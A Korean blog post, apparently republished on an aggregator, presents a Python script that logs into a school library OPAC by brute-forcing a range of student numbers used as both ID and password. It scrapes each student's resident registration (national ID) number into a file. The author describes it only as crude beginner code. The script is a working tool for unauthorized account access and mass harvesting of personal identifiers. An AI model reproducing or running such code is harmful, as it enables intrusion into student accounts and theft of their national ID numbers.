Python 학교 도서관 OAPC 계 정 에 대응 하 는 주민등록번호 가 져 오기
7518 단어 python
1 import urllib.request
2 import urllib.parse
3 import http.cookiejar
4 import re
5
6 lib_login = 'http://xxx.edu.cn/reader/redr_verify.php'
7
8 def get_info(number, passwd, myfile):
9 cj = http.cookiejar.CookieJar()
10 pro = urllib.request.HTTPCookieProcessor(cj)
11 opener = urllib.request.build_opener(pro)
12
13 postDict = {
14 'number':str(number),
15 'passwd':str(passwd),
16 'select':'cert_no',
17 'returnUrl':''
18 }
19 postData = urllib.parse.urlencode(postDict).encode()
20 op = opener.open(lib_login, postData)
21 data = op.read().decode()
22 log_ok = False
23 is_login = re.compile('<font color="blue">.*</font>')
24 for x in is_login.findall(data):
25 login_ok = re.compile('<[^>]+>')
26 login_ok = login_ok.sub('', x)
27 if login_ok != '':
28 log_ok = True
29 else:
30 log_ok = False
31 if log_ok:
32 person_id = re.compile(' : </span>\d*</TD>')
33 for x in person_id.findall(data):
34 usr_psw = re.compile('<[^>]+>')
35 usr_psw = usr_psw.sub('', x)
36 usr_psw += '
'
37 number = str(number)
38 number += ' '
39 myfile.write(number)
40 myfile.write(usr_psw)
41 myfile.flush()
42 print(number + 'OK')
43 print(usr_psw)
44
45 f = open('wifi2013.txt', 'a')
46 for i in range(2013002734, 2013003980):
47 get_info(i, i, f)
48 f.close()
이 코드 의 논 리 는 간단 하고 이상 한 처리 가 부족 합 니 다. 파 이 썬 에 막 들 어 온 아주 나 쁜 코드 입 니 다. 나중에 계속 꺼 내 서 최적화 할 수 있 습 니 다.
이 내용에 흥미가 있습니까?
현재 기사가 여러분의 문제를 해결하지 못하는 경우 AI 엔진은 머신러닝 분석(스마트 모델이 방금 만들어져 부정확한 경우가 있을 수 있음)을 통해 가장 유사한 기사를 추천합니다:
로마 숫자를 정수로 또는 그 반대로 변환그 중 하나는 로마 숫자를 정수로 변환하는 함수를 만드는 것이었고 두 번째는 그 반대를 수행하는 함수를 만드는 것이었습니다. 문자만 포함합니다'I', 'V', 'X', 'L', 'C', 'D', 'M' ; 문자열이 ...
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
CC BY-SA 2.5, CC BY-SA 3.0 및 CC BY-SA 4.0에 따라 라이센스가 부여됩니다.